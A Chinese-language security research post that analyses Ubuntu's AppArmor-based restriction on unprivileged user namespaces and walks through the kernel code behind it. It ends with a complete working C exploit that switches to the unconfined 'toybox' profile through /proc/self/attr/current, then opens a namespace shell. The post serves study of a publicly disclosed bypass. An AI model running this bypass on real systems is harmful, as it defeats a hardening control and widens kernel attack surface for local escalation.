# Analyze AppArmor and Ubuntu’s Unprivileged Namespace Restriction bypass > Author : 堇姬 Naup ## 前言 最近剛好遇到 AppArmor 相關的東東,突然想到 pumpkin 寫過的這篇 https://u1f383.github.io/linux/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction.html 以及 Qualys 的這篇 https://blog.qualys.com/vulnerabilities-threat-research/2025/03/27/qualys-tru-discovers-three-bypasses-of-ubuntu-unprivileged-user-namespace-restrictions 所以順便研究及復現了一下,稍微紀錄 ## Unprivileged User Namespace 該機制主要用於在一個 Unprivileged user 下,可以在一個受限的環境裡拿到管理權限,該權限實質上在 host 上仍是 Unprivileged 當可以建立 Unprivileged User Namespace,可以使使用者能摸到更多 kernel 的組件,也增加了攻擊面 ## AppArmor 通常我們會通過 `chmod` 來去針對檔案設定,甚麼 user 甚麼 group 可不可以讀取寫入等權限 而 AppArmor 則是直接限制一個程式可以做甚麼,例如可以讀甚麼檔案 更詳細來說,其允許系統管理員透過定義應用程式應被授予哪些資源的存取權限,並拒絕所有其他資源的存取權限來實現最小權限原則 一個程式沒有設定,則以無限制的 Unconfined 設定檔來執行 AppArmor 實作限制了建立 Unprivileged User Namespace 或是其他的建立,因此使得攻擊面變小 這幾篇主要是要說明,如何繞過 AppArmor 來建立 Unprivileged User Namespace 接下來來詳細介紹 AppArmor 用法 先安裝 ``` sudo apt install -y python3-apparmor=3.0.4-2ubuntu2 sudo apt install -y apparmor-utils=3.0.4-2ubuntu2 ``` 先準備一個 file ```c #include <stdio.h> #include <fcntl.h> #include <unistd.h> int main() { int fd = open("/etc/passwd", O_RDONLY); if (fd < 0) { printf("error to open /etc/passwd\n"); } } ``` 位於 ``` naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ pwd /home/naup96321/Desktop/apparmor-test naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ tree . ├── apparmortest └── apparmortest.c ``` 接下來要寫 config 可以先通過 `aa-easyprof <binary path> > /etc/apparmor.d/home.naup96321.Desktop.apparmor-test.apparmortest` 產生基礎設定檔 這邊我們添加禁止訪問 /etc/passwd ```c .apparmortest # vim:syntax=apparmor # AppArmor policy for apparmortest # ###AUTHOR### # ###COPYRIGHT### # ###COMMENT### #include <tunables/global> # No template variables specified /home/naup96321/Desktop/apparmor-test/apparmortest { #include <abstractions/base> deny /etc/passwd r, /home/naup96321/Desktop/apparmor-test/apparmortest mr, /home/naup96321/Desktop/apparmor-test/** rw, capability, file, } ``` 輸入這個生效 ``` sudo apparmor_parser -r /etc/apparmor.d/home.naup96321.Desktop.apparmor-test.apparmortest sudo aa-enforce /etc/apparmor.d/home.naup96321.Desktop.apparmor-test.apparmortest ``` 執行後就會發現不能開啟了 ``` naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ ./apparmortest error to open /etc/passwd ``` 通過 `aa-status` 查看狀態 可以發現其已經在 enforce mode 了 enforce node : 違反 rules 會阻擋及記錄 complain mode : 違反 rules 會記錄 ``` naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ sudo aa-status apparmor module is loaded. 62 profiles are loaded. 60 profiles are in enforce mode. /home/naup96321/Desktop/apparmor-test/apparmortest ``` 順帶一提 `aa-disable` 可以關閉 對 AppArmor 有初步了解後,先來架設環境 ## build env 先來裝一台 24.04 ubuntu https://releases.ubuntu.com/24.04/ 開一個 VMware 匯入 裝好後進去可以看到,預設的 kernel version 應該是 6.14.0-35-generic 接下來我們要替換到 vm 上的 kernel 成我們自己編譯的 Ubuntu 是基於原生的 linux kernel 來 patch 的 https://launchpad.net/ubuntu/+source/linux/6.11.0-18.18 在這網站有兩個檔案 一個是原來的 kernel,一個是 diff 這份 diff `6.11.0-18.18` 前面的 `6.11.0` 是 kernel version,`18.18` 是 ubuntu 自己維護的版本 ``` wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/linux/6.11.0-18.18/linux_6.11.0.orig.tar.gz wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/linux/6.11.0-18.18/linux_6.11.0-18.18.diff.gz tar -xzf linux_6.11.0.orig.tar.gz gunzip linux_6.11.0-18.18.diff.gz ``` 接下來拿 diff patch 後,我拿 host 上的 config 編譯 ``` cd linux-6.11.0 patch -p1 < ../linux_6.11.0-18.18.diff sudo apt install build-essential libncurses-dev flex bison libssl-dev libelf-dev bc cp /boot/config-$(uname -r) .config make olddefconfig make -j8 ``` 之後要將機器上的 kernel 替換,不過當 install 完後,要進入到 grub 將 kernel 替換,不過我一直抓不到 grub 時間,所以去修改 `/etc/default/grub` ``` sudo make -j8 modules_install sudo make -j8 install sudo update-grub sudo nano /etc/default/grub (edit hidden to menu, timeout 10s) sudo update-grub sudo reboot ``` 進到 grub 後,Ubuntu 高級選項 -> 選擇對應 kernel version ![image](https://hackmd.io/_uploads/BJLNBy3xbg.png) 進去後就可以看到 kernel 版本已經被替換了 ![image](https://hackmd.io/_uploads/HJ9umkngWe.png) ## Analyze Ubuntu 實作了一套基於 AppArmor 的東西,來讓一般使用者不能創建 unprivileged user namespace ,這個東西可以讓你在某個 namespace 中擁有 root,不過在全局上仍屬於一般使用者,但是通過 unprivileged user namespace ,可以摸到更多 kernel 的組件,以增加攻擊面 舉個例子,若在 host 上使用這個功能 ```bash naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ ip link set lo up RTNETLINK answers: Operation not permitted ``` 會直接被 reject 掉 但如果設定一個 user namespace 中建立 network namespace,則可以正常執行 這篇主要是要講如何 bypass AppArmor 來重新可以建立 unprivileged user namespace 首先先嘗試在 VM 上建立 unprivileged user namespace ```bash naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ unshare -r -n -m /bin/bash unshare: write failed /proc/self/uid_map: Operation not permitted naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ sudo dmesg [ 741.972257] audit: type=1400 audit(1763633042.017:158): apparmor="AUDIT" operation="userns_create" class="namespace" info="Userns create - transitioning profile" profile="unconfined" pid=3980 comm="unshare" requested="userns_create" target="unprivileged_userns" [ 741.981461] audit: type=1400 audit(1763633042.027:159): apparmor="DENIED" operation="capable" class="cap" profile="unprivileged_userns" pid=3980 comm="unshare" capability=21 capname="sys_admin" ``` 可以在看到被 reject 了,通過 dmesg 可以看到 第一條當啟動想要創建 namespace 時,他轉換 profile 成 `unprivileged_userns` 在轉換完成 profile 後,在新的受限制環境中,進程嘗試獲取 sys_admin 系統管理員權限,但被 AppArmor 拒絕 可以來看看 patch ```diff +struct aa_label *aa_profile_ns_perm(struct aa_profile *profile, + struct apparmor_audit_data *ad, + u32 request) +{ + struct aa_ruleset *rules = list_first_entry(&profile->rules, + typeof(*rules), list); + struct aa_label *new; struct aa_perms perms = { }; - int error = 0; + aa_state_t state; ad->subj_label = &profile->label; ad->request = request; + int error; - if (!profile_unconfined(profile)) { - struct aa_ruleset *rules = list_first_entry(&profile->rules, - typeof(*rules), - list); - aa_state_t state; - - state = RULE_MEDIATES(rules, ad->class); - if (!state) - /* TODO: add flag to complain about unmediated */ - return 0; - perms = *aa_lookup_perms(rules->policy, state); - aa_apply_modes_to_perms(profile, &perms); - error = aa_check_perms(profile, &perms, request, ad, - audit_ns_cb); + /* TODO: rework unconfined profile/dfa to mediate user ns, then + * we can drop the unconfined test + */ + state = RULE_MEDIATES(rules, ad->class); + if (!state) { + /* TODO: this gets replaced when the default unconfined + * profile dfa gets updated to handle this + */ + if (profile_unconfined(profile) && + profile == profiles_ns(profile)->unconfined) { + if (!aa_unprivileged_userns_restricted || + ns_capable_noaudit(current_user_ns(), + CAP_SYS_ADMIN)) + return aa_get_newest_label(&profile->label); + ad->info = "User namespace creation restricted"; + /* unconfined unprivileged user */ + /* don't just return: allow complain mode to override */ +// hardcode unconfined transition for now + new = aa_label_parse(&profile->label, + "unprivileged_userns", GFP_KERNEL, + true, false); + if (IS_ERR(new)) { + ad->info = "Userns create restricted - failed to find unprivileged_userns profile"; + ad->error = PTR_ERR(new); + ad->ns.target = "unprivileged_userns"; + new = NULL; + perms.deny |= request; + goto hard_coded; + } + ad->info = "Userns create - transitioning profile"; + perms.audit = request; + perms.allow = request; + goto hard_coded; +// once we have special unconfined profile, jump to ns_x_to_label() +// end hardcode + } else if (!aa_unprivileged_userns_restricted_force) { + return aa_get_newest_label(&profile->label); + } + /* continue to mediation */ } - return error; + perms = *aa_lookup_perms(rules->policy, state); + new = ns_x_to_label(profile, perms.xindex, &ad->ns.target, &ad->info); + if (IS_ERR(new)) { + ad->error = PTR_ERR(new); + new = NULL; + perms.deny |= request; + } else if (!new) { + /* no transition - not done in x_to_label so we can track */ + new = aa_get_label(&profile->label); + } else { +hard_coded: + ad->peer = new; + } ``` 這段 code 會切換 profile 檢查方式是若當前 profile 是 unconfined 且是預設的 unconfined,就會分配一個 unprivileged_userns 的 profile ```c // security/apparmor/task.c if (profile_unconfined(profile) && profile == profiles_ns(profile)->unconfined) { if (!aa_unprivileged_userns_restricted || ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN)) return aa_get_newest_label(&profile->label); ad->info = "User namespace creation restricted"; /* unconfined unprivileged user */ /* don't just return: allow complain mode to override */ // hardcode unconfined transition for now new = aa_label_parse(&profile->label, "unprivileged_userns", GFP_KERNEL, true, false); ``` 來看看這個 profile 該 profile deny 了所有 capability,也就是說所有需要特殊 capability 的操作都會被拒絕,建立 namespace 的操作缺少了 sys_admin 的 capability,導致建立失敗 ```c // /etc/apparmor.d/unprivileged_userns # Special profile transitioned to by unconfined when creating an unprivileged # user namespace. # abi <abi/4.0>, include <tunables/global> profile unprivileged_userns { audit deny capability, audit deny change_profile, # allow block to be replaced by allow when x dominance test is fixed #allow all, allow network, allow signal, allow dbus, allow file rwlkm /**, allow unix, allow mqueue, allow ptrace, allow userns, # stack children to strip capabilities allow pix /** -> &unprivileged_userns , # Site-specific additions and overrides. See local/README for details. include if exists <local/unprivileged_userns> } ``` 從上述就可以知道,原本 unconfined 的 profile 被轉換成 unprivileged_userns 是無法建立 namespace 的關鍵,因此要來了解一下 第一個 unconfined 是從這個結構中的 mode flags 比對是否是 `APPARMOR_UNCONFINED`,只要是 unconfined 就行 這件事不太能動,因為切換 AppArmor 模式是需要 root 的,不過若是能切換模式成 enforce 或 complain 就可以 bypass 了 ```c #define profile_unconfined(X) ((X)->mode == APPARMOR_UNCONFINED) struct aa_profile { struct aa_policy base; struct aa_profile __rcu *parent; struct aa_ns *ns; const char *rename; enum audit_mode audit; long mode; u32 path_flags; int signal; const char *disconnected; struct aa_attachment attach; struct list_head rules; struct aa_net_compat *net_compat; struct aa_audit_cache learning_cache; struct aa_loaddata *rawdata; unsigned char *hash; char *dirname; struct dentry *dents[AAFS_PROF_SIZEOF]; struct rhashtable *data; struct aa_label label; }; enum profile_mode { APPARMOR_ENFORCE, /* enforce access rules */ APPARMOR_COMPLAIN, /* allow and log access violations */ APPARMOR_KILL, /* kill task on access violation */ APPARMOR_UNCONFINED, /* profile set to unconfined */ APPARMOR_USER, /* modified complain mode to userspace */ }; ``` 另外一個是檢查,這個 macro 會拿到自身 namespace,並拿到 namespace 的 unconfined 預設設定檔並比對當前 profile,如果一樣就會進到發 `unprivileged_userns` 分支 ```c #define profiles_ns(P) ((P)->ns) profiles_ns(profile)->unconfined /* struct aa_ns - namespace for a set of profiles * @base: common policy * @parent: parent of namespace * @lock: lock for modifying the object * @acct: accounting for the namespace * @unconfined: special unconfined profile for the namespace * @sub_ns: list of namespaces under the current namespace. * @uniq_null: uniq value used for null learning profiles * @uniq_id: a unique id count for the profiles in the namespace * @level: level of ns within the tree hierarchy * @revision: policy revision for this ns * @wait: waitq for tasks waiting on revision changes * @listener_lock: lock for listeners * @listeners: notification listeners' proxies list * @labels: all the labels associated with this ns * @rawdata_list: raw policy data for policy * @dents: dentries for the namespaces file entries in apparmorfs * * An aa_ns defines the set profiles that are searched to determine which * profile to attach to a task. Profiles can not be shared between aa_ns * and profile names within a namespace are guaranteed to be unique. When * profiles in separate namespaces have the same name they are NOT considered * to be equivalent. * * Namespaces are hierarchical and only namespaces and profiles below the * current namespace are visible. * * Namespace names must be unique and can not contain the characters :/\0 */ struct aa_ns { struct aa_policy base; struct aa_ns *parent; struct mutex lock; struct aa_ns_acct acct; struct aa_profile *unconfined; struct list_head sub_ns; atomic_t uniq_null; long uniq_id; int level; long revision; wait_queue_head_t wait; spinlock_t listener_lock; struct list_head listeners; struct aa_labelset labels; struct list_head rawdata_list; struct dentry *dents[AAFS_NS_SIZEOF]; }; ``` 而 AppArmor 判斷當前使用的設定檔設定在 `/proc/self/attr` 下 ```bash naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ ls -la /proc/self/attr total 0 dr-xr-xr-x 2 naup naup 0 Nov 20 20:52 . dr-xr-xr-x 9 naup naup 0 Nov 20 20:52 .. dr-xr-xr-x 2 naup naup 0 Nov 20 20:52 apparmor -rw-rw-rw- 1 naup naup 0 Nov 20 20:52 current -rw-rw-rw- 1 naup naup 0 Nov 20 20:52 exec -rw-rw-rw- 1 naup naup 0 Nov 20 20:52 fscreate -rw-rw-rw- 1 naup naup 0 Nov 20 20:52 keycreate -r--r--r-- 1 naup naup 0 Nov 20 20:52 prev dr-xr-xr-x 2 naup naup 0 Nov 20 20:52 smack -rw-rw-rw- 1 naup naup 0 Nov 20 20:52 sockcreate ``` 嘗試去 `cat /proc/self/attr/current` 可以看到他顯示當前使用的是 `unconfined`,這會顯示當前使用的設定檔是哪一個,並且有寫入權限,因此可以嘗試修改他,不過若直接寫入會失敗,通常需要修改這下面的東西,都需要通過一定格式來修改 這部分來看 code 首先是這部分用來建立 proc 下的東西,其中也包含 current,另外可以看到所有操作都是在 `proc_pid_attr_operations` 這張 vtable 上 ```c // fs/proc/base.c #define ATTR(LSMID, NAME, MODE) \ NOD(NAME, (S_IFREG|(MODE)), \ NULL, &proc_pid_attr_operations, \ { .lsmid = LSMID }) static const struct pid_entry attr_dir_stuff[] = { ATTR(LSM_ID_UNDEF, "current", 0666), ATTR(LSM_ID_UNDEF, "prev", 0444), ATTR(LSM_ID_UNDEF, "exec", 0666), ATTR(LSM_ID_UNDEF, "fscreate", 0666), ATTR(LSM_ID_UNDEF, "keycreate", 0666), ATTR(LSM_ID_UNDEF, "sockcreate", 0666), ``` 這張 vtable 紀錄了 write 相關的操作 ```c static const struct file_operations proc_pid_attr_operations = { .open = proc_pid_attr_open, .read = proc_pid_attr_read, .write = proc_pid_attr_write, .llseek = generic_file_llseek, .release = mem_release, }; ``` 前面會做一些檢查,之後呼叫正確 LSM (看起來像一個 hook,lsmid 選擇哪個 LSM 來處理) LSM 自己解析 attribute 名稱與內容,並設定 https://lwn.net/Articles/940180/ ```c static ssize_t proc_pid_attr_write(struct file * file, const char __user * buf, size_t count, loff_t *ppos) { struct inode * inode = file_inode(file); struct task_struct *task; void *page; int rv; /* A task may only write when it was the opener. */ if (file->private_data != current->mm) return -EPERM; rcu_read_lock(); task = pid_task(proc_pid(inode), PIDTYPE_PID); if (!task) { rcu_read_unlock(); return -ESRCH; } /* A task may only write its own attributes. */ if (current != task) { rcu_read_unlock(); return -EACCES; } /* Prevent changes to overridden credentials. */ if (current_cred() != current_real_cred()) { rcu_read_unlock(); return -EBUSY; } rcu_read_unlock(); if (count > PAGE_SIZE) count = PAGE_SIZE; /* No partial writes. */ if (*ppos != 0) return -EINVAL; page = memdup_user(buf, count); if (IS_ERR(page)) { rv = PTR_ERR(page); goto out; } /* Guard against adverse ptrace interaction */ rv = mutex_lock_interruptible(&current->signal->cred_guard_mutex); if (rv < 0) goto out_free; rv = security_setprocattr(PROC_I(inode)->op.lsmid, file->f_path.dentry->d_name.name, page, count); mutex_unlock(&current->signal->cred_guard_mutex); out_free: kfree(page); out: return rv; } // security/security.c /** * security_setprocattr() - Set an attribute for a task * @lsmid: LSM identification * @name: attribute name * @value: attribute value * @size: attribute value size * * Write (set) the current task's attribute @name to @value, size @size if * allowed. * * Return: Returns bytes written on success, a negative value otherwise. */ int security_setprocattr(int lsmid, const char *name, void *value, size_t size) { struct security_hook_list *hp; hlist_for_each_entry(hp, &security_hook_heads.setprocattr, list) { if (lsmid != 0 && lsmid != hp->lsmid->id) continue; return hp->hook.setprocattr(name, value, size); } return LSM_RET_DEFAULT(setprocattr); } ``` 從這裡可以找到 hook 的函數是 `apparmor_setprocattr` ```c // /security/apparmor/lsm.c atic struct security_hook_list apparmor_hooks[] __ro_after_init = { ... LSM_HOOK_INIT(getselfattr, apparmor_getselfattr), LSM_HOOK_INIT(setselfattr, apparmor_setselfattr), LSM_HOOK_INIT(getprocattr, apparmor_getprocattr), LSM_HOOK_INIT(setprocattr, apparmor_setprocattr), ... }; ``` 向下追可以看到,先找到要設定的屬性,若修改 current 就會轉換成對應 id 接下來 call `do_attr` 來設定該 attribute ```c // /security/apparmor/lsm.c static int apparmor_setprocattr(const char *name, void *value, size_t size) { int attr = lsm_name_to_attr(name); if (attr) return do_setattr(attr, value, size); return -EINVAL; } // security/lsm_syscall.c /** * lsm_name_to_attr - map an LSM attribute name to its ID * @name: name of the attribute * * Returns the LSM attribute value associated with @name, or 0 if * there is no mapping. */ u64 lsm_name_to_attr(const char *name) { if (!strcmp(name, "current")) return LSM_ATTR_CURRENT; if (!strcmp(name, "exec")) return LSM_ATTR_EXEC; if (!strcmp(name, "fscreate")) return LSM_ATTR_FSCREATE; if (!strcmp(name, "keycreate")) return LSM_ATTR_KEYCREATE; if (!strcmp(name, "prev")) return LSM_ATTR_PREV; if (!strcmp(name, "sockcreate")) return LSM_ATTR_SOCKCREATE; return LSM_ATTR_UNDEF; } ``` AppArmor 要處理: ``` echo "<command> <args>" > /proc/self/attr/current echo "<command> <args>" > /proc/self/attr/exec ``` 這個 function 就是解析 command,然後呼叫對應的 aa_change_profile / aa_setprocattr_changehat 等 API 所以通過這個方式可以簡單的去操作當前使用的 unconfined profile 了,如通過 `aa_change_profile` 來去設定當前 profile flags,或是當前 profile 是哪個等等,完美~ ```c // security/apparmor/lsm.c static int do_setattr(u64 attr, void *value, size_t size) { char *command, *largs = NULL, *args = value; size_t arg_size; int error; DEFINE_AUDIT_DATA(ad, LSM_AUDIT_DATA_NONE, AA_CLASS_NONE, OP_SETPROCATTR); if (size == 0) return -EINVAL; /* AppArmor requires that the buffer must be null terminated atm */ if (args[size - 1] != '\0') { /* null terminate */ largs = args = kmalloc(size + 1, GFP_KERNEL); if (!args) return -ENOMEM; memcpy(args, value, size); args[size] = '\0'; } error = -EINVAL; args = strim(args); command = strsep(&args, " "); if (!args) goto out; args = skip_spaces(args); if (!*args) goto out; arg_size = size - (args - (largs ? largs : (char *) value)); if (attr == LSM_ATTR_CURRENT) { if (strcmp(command, "changehat") == 0) { error = aa_setprocattr_changehat(args, arg_size, AA_CHANGE_NOFLAGS); } else if (strcmp(command, "permhat") == 0) { error = aa_setprocattr_changehat(args, arg_size, AA_CHANGE_TEST); } else if (strcmp(command, "changeprofile") == 0) { error = aa_change_profile(args, AA_CHANGE_NOFLAGS); } else if (strcmp(command, "permprofile") == 0) { error = aa_change_profile(args, AA_CHANGE_TEST); } else if (strcmp(command, "stack") == 0) { error = aa_change_profile(args, AA_CHANGE_STACK); } else goto fail; } else if (attr == LSM_ATTR_EXEC) { if (strcmp(command, "exec") == 0) error = aa_change_profile(args, AA_CHANGE_ONEXEC); else if (strcmp(command, "stack") == 0) error = aa_change_profile(args, (AA_CHANGE_ONEXEC | AA_CHANGE_STACK)); else goto fail; } else /* only support the "current" and "exec" process attributes */ goto fail; if (!error) error = size; out: kfree(largs); return error; fail: ad.subj_label = begin_current_label_crit_section(); if (attr == LSM_ATTR_CURRENT) ad.info = "current"; else if (attr == LSM_ATTR_EXEC) ad.info = "exec"; else ad.info = "invalid"; ad.error = error = -EINVAL; aa_audit_msg(AUDIT_APPARMOR_DENIED, &ad, NULL); end_current_label_crit_section(ad.subj_label); goto out; } ``` ## exploit 首先其實蠻清楚應該要做甚麼的,他檢查了兩項,現在可以通過 /proc/self/attr/current 的 `changeprofile` 來去切換當前使用的 profile 那他檢查了當前是不是預設的 unconfined,因此只要找到機器上其他 uncondined 的 profile change 過去就好了,可以通過 `aa-status` 來看機器上有哪些,舉例來說 `toybox` 之類的 profile ```c if (profile_unconfined(profile) && profile == profiles_ns(profile)->unconfined) { ``` 以下是完整 exploit ```c #define _GNU_SOURCE #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> #define CURRENT_PATH "/proc/self/attr/current" char cmd[] = "changeprofile toybox"; void w(const char *p, const char *s) { int f = open(p, O_WRONLY); if (f < 0) exit(1); write(f, s, strlen(s)); close(f); } int main() { int fd = open(CURRENT_PATH, O_RDWR); if (fd < 0) { printf("[x] error to open current\n"); exit(1); } int ret = write(fd, cmd, sizeof(cmd)); if (ret < 0) { printf("[x] error to send cmd\n"); exit(1); } if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET) < 0) { printf("[x] error to open unprivilege user namespace"); exit(1); } w("/proc/self/setgroups", "deny"); w("/proc/self/uid_map", "0 1000 1"); w("/proc/self/gid_map", "0 1000 1"); system("/bin/sh"); } ``` ## demo <iframe width="560" height="315" src="https://www.youtube.com/embed/vR0mA53JZTk?si=6jzydcPRZKSHlccz" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe> ## After all 遇到最大的坑是我 VM 的 grub 進不去XD